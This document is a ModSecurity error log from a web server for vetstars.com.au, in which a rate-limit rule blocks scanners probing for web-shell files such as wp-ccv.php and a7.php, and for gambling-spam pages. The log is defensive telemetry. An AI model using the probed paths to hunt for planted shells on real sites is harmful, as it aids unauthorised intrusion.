[Wed Apr 01 21:27:49.588035 2026] [:error] [pid 8995:tid 9002] [client 23.101.55.68:55784] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0dVeonaBjs3qxcRefQvwAAAAQ"]
[Wed Apr 01 21:27:50.092456 2026] [:error] [pid 8910:tid 8970] [client 23.101.55.68:43944] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0dVqJZINUcF3tYgExnpAAAAQI"]
[Wed Apr 01 21:27:50.596700 2026] [:error] [pid 8909:tid 8948] [client 23.101.55.68:39470] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac0dVjvP_a0662gDl6DZ2wAAAMc"]
[Wed Apr 01 21:27:51.136896 2026] [:error] [pid 8995:tid 9022] [client 23.101.55.68:50219] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ac0dV-onaBjs3qxcRefQwwAAABg"]
[Wed Apr 01 21:27:51.637635 2026] [:error] [pid 8908:tid 8930] [client 23.101.55.68:41230] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ac0dV_kmxtJXGnLdvgCUJQAAAJE"]
[Wed Apr 01 21:27:52.150282 2026] [:error] [pid 8908:tid 8919] [client 23.101.55.68:52969] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ac0dWPkmxtJXGnLdvgCUJwAAAIY"]
[Wed Apr 01 21:27:52.656638 2026] [:error] [pid 17856:tid 17870] [client 23.101.55.68:50235] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "ac0dWD7Idlm5j9frhqRCGQAAAEw"]
[Wed Apr 01 21:27:53.161158 2026] [:error] [pid 17856:tid 17860] [client 23.101.55.68:63795] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac0dWT7Idlm5j9frhqRCGwAAAEI"]
[Wed Apr 01 21:27:53.660793 2026] [:error] [pid 8995:tid 9021] [client 23.101.55.68:41235] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac0dWeonaBjs3qxcRefQywAAABc"]
[Wed Apr 01 21:27:54.168318 2026] [:error] [pid 17856:tid 17874] [client 23.101.55.68:52984] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac0dWj7Idlm5j9frhqRCIQAAAFA"]
[Wed Apr 01 21:27:54.667649 2026] [:error] [pid 8909:tid 8951] [client 23.101.55.68:49727] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac0dWjvP_a0662gDl6DZ4wAAAMo"]
[Wed Apr 01 21:27:55.173744 2026] [:error] [pid 17856:tid 17872] [client 23.101.55.68:42717] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ac0dWz7Idlm5j9frhqRCJAAAAE4"]
[Wed Apr 01 21:27:55.677769 2026] [:error] [pid 8909:tid 8958] [client 23.101.55.68:8602] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ac0dWzvP_a0662gDl6DZ5AAAANE"]
[Wed Apr 01 21:27:56.187720 2026] [:error] [pid 8909:tid 8960] [client 23.101.55.68:41247] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ac0dXDvP_a0662gDl6DZ5gAAANM"]
[Wed Apr 01 21:27:56.687483 2026] [:error] [pid 8909:tid 8941] [client 23.101.55.68:5180] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Geforce.php"] [unique_id "ac0dXDvP_a0662gDl6DZ6AAAAMA"]
[Wed Apr 01 21:27:57.216525 2026] [:error] [pid 8995:tid 9003] [client 23.101.55.68:50408] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "ac0dXeonaBjs3qxcRefQ1QAAAAU"]
[Wed Apr 01 21:27:57.719093 2026] [:error] [pid 8909:tid 8947] [client 23.101.55.68:8576] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "ac0dXTvP_a0662gDl6DZ7gAAAMY"]
[Wed Apr 01 21:27:58.230042 2026] [:error] [pid 8995:tid 9017] [client 23.101.55.68:42713] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "ac0dXuonaBjs3qxcRefQ2QAAABM"]
[Wed Apr 01 21:27:58.731008 2026] [:error] [pid 17856:tid 17878] [client 23.101.55.68:51351] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "ac0dXj7Idlm5j9frhqRCLAAAAFQ"]
[Wed Apr 01 21:27:59.233741 2026] [:error] [pid 8909:tid 8961] [client 23.101.55.68:42740] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "ac0dXzvP_a0662gDl6DZ9wAAANQ"]
[Wed Apr 01 21:27:59.738899 2026] [:error] [pid 17856:tid 17877] [client 23.101.55.68:55801] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "ac0dXz7Idlm5j9frhqRCLgAAAFM"]
[Wed Apr 01 21:28:00.260319 2026] [:error] [pid 8909:tid 8945] [client 23.101.55.68:48682] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "ac0dYDvP_a0662gDl6DZ-wAAAMQ"]
[Wed Apr 01 21:28:00.769324 2026] [:error] [pid 8909:tid 8953] [client 23.101.55.68:23309] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "ac0dYDvP_a0662gDl6DZ_gAAAMw"]
[Wed Apr 01 21:28:01.291948 2026] [:error] [pid 17856:tid 17882] [client 23.101.55.68:42741] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luyuc.php"] [unique_id "ac0dYT7Idlm5j9frhqRCNAAAAFg"]
[Wed Apr 01 21:28:01.793253 2026] [:error] [pid 17856:tid 17878] [client 23.101.55.68:57070] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luyuc.php"] [unique_id "ac0dYT7Idlm5j9frhqRCOAAAAFQ"]
[Wed Apr 01 21:28:02.301792 2026] [:error] [pid 8908:tid 8925] [client 23.101.55.68:23297] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luyuc.php"] [unique_id "ac0dYvkmxtJXGnLdvgCUMQAAAIw"]
[Wed Apr 01 21:28:02.803731 2026] [:error] [pid 8908:tid 8914] [client 23.101.55.68:42375] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/luyuc.php"] [unique_id "ac0dYvkmxtJXGnLdvgCUNAAAAIE"]
[Wed Apr 01 21:28:03.318847 2026] [:error] [pid 8908:tid 8928] [client 23.101.55.68:8607] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "ac0dY_kmxtJXGnLdvgCUOgAAAI8"]
[Wed Apr 01 21:28:03.818865 2026] [:error] [pid 17856:tid 17874] [client 23.101.55.68:5419] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "ac0dYz7Idlm5j9frhqRCPQAAAFA"]
[Wed Apr 01 21:28:04.326109 2026] [:error] [pid 8908:tid 8931] [client 23.101.55.68:48188] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "ac0dZPkmxtJXGnLdvgCUPQAAAJI"]
[Wed Apr 01 21:28:04.829400 2026] [:error] [pid 62559:tid 62571] [client 23.101.55.68:51378] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "ac0dZC7NKI8IaNKZFIenzgAAAUo"]
[Wed Apr 01 21:28:05.332869 2026] [:error] [pid 8995:tid 9017] [client 23.101.55.68:41666] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htto.php"] [unique_id "ac0dZeonaBjs3qxcRefQ5AAAABM"]
[Wed Apr 01 21:28:05.836939 2026] [:error] [pid 8908:tid 8934] [client 23.101.55.68:48644] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htto.php"] [unique_id "ac0dZfkmxtJXGnLdvgCUQwAAAJU"]
[Wed Apr 01 21:28:06.354920 2026] [:error] [pid 17856:tid 17863] [client 23.101.55.68:39541] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htto.php"] [unique_id "ac0dZj7Idlm5j9frhqRCRQAAAEU"]
[Wed Apr 01 21:28:06.857046 2026] [:error] [pid 62559:tid 62575] [client 23.101.55.68:42742] [client 23.101.55.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htto.php"] [unique_id "ac0dZi7NKI8IaNKZFIen0AAAAU4"]
[Wed Apr 01 23:58:13.506176 2026] [:error] [pid 8995:tid 9001] [client 20.104.69.172:23511] [client 20.104.69.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac1AleonaBjs3qxcRef_AwAAAAM"]
[Wed Apr 01 23:58:13.958368 2026] [:error] [pid 17856:tid 17873] [client 20.104.69.172:23493] [client 20.104.69.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac1AlT7Idlm5j9frhqSJ6QAAAE8"]
[Wed Apr 01 23:58:14.380467 2026] [:error] [pid 8908:tid 8919] [client 20.104.69.172:23521] [client 20.104.69.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac1AlvkmxtJXGnLdvgDp7gAAAIY"]
[Wed Apr 01 23:58:14.795967 2026] [:error] [pid 8995:tid 9008] [client 20.104.69.172:23432] [client 20.104.69.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac1AluonaBjs3qxcRef_DAAAAAo"]
[Thu Apr 02 02:29:01.617150 2026] [:error] [pid 8387:tid 8449] [client 135.181.213.219:33002] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ac1j7RdQYJ2y8LDYkv8oawAAAAk"]
[Thu Apr 02 02:29:04.225631 2026] [:error] [pid 8035:tid 8051] [client 135.181.213.219:33016] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ac1j8AY2zflwGmvw_Qb8fwAAAIs"]
[Thu Apr 02 02:29:06.677249 2026] [:error] [pid 16761:tid 16783] [client 135.181.213.219:33018] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ac1j8t4bJXDGRqKZnzxTWAAAAFM"]
[Thu Apr 02 02:29:09.262027 2026] [:error] [pid 8037:tid 8126] [client 135.181.213.219:33028] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ac1j9YGD8ox-W9jHVfDSygAAARI"]
[Thu Apr 02 02:29:11.861476 2026] [:error] [pid 8035:tid 8057] [client 135.181.213.219:42728] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ac1j9wY2zflwGmvw_Qb8hwAAAJE"]
[Thu Apr 02 02:29:14.341664 2026] [:error] [pid 8387:tid 8446] [client 135.181.213.219:42734] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ac1j-hdQYJ2y8LDYkv8oewAAAAY"]
[Thu Apr 02 02:29:16.823937 2026] [:error] [pid 16761:tid 16771] [client 135.181.213.219:42748] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ac1j_N4bJXDGRqKZnzxTdQAAAEc"]
[Thu Apr 02 02:29:19.548953 2026] [:error] [pid 8037:tid 8132] [client 135.181.213.219:42756] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ac1j_4GD8ox-W9jHVfDS3wAAARg"]
[Thu Apr 02 02:29:22.144613 2026] [:error] [pid 16761:tid 16766] [client 135.181.213.219:6642] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ac1kAt4bJXDGRqKZnzxThwAAAEI"]
[Thu Apr 02 02:29:24.704676 2026] [:error] [pid 16761:tid 16770] [client 135.181.213.219:6652] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ac1kBN4bJXDGRqKZnzxTnQAAAEY"]
[Thu Apr 02 02:29:27.272403 2026] [:error] [pid 16761:tid 16777] [client 135.181.213.219:6658] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ac1kB94bJXDGRqKZnzxTqwAAAE0"]
[Thu Apr 02 02:29:29.721049 2026] [:error] [pid 16761:tid 16778] [client 135.181.213.219:6660] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ac1kCd4bJXDGRqKZnzxTuwAAAE4"]
[Thu Apr 02 02:29:37.425581 2026] [:error] [pid 8037:tid 8122] [client 135.181.213.219:31326] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ac1kEYGD8ox-W9jHVfDS6wAAAQ4"]
[Thu Apr 02 02:29:39.891511 2026] [:error] [pid 16761:tid 16776] [client 135.181.213.219:31332] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ac1kE94bJXDGRqKZnzxT3gAAAEw"]
[Thu Apr 02 02:29:42.497157 2026] [:error] [pid 16761:tid 16775] [client 135.181.213.219:33330] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ac1kFt4bJXDGRqKZnzxT5wAAAEs"]
[Thu Apr 02 02:29:45.076108 2026] [:error] [pid 8037:tid 8110] [client 135.181.213.219:33334] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ac1kGYGD8ox-W9jHVfDS9QAAAQI"]
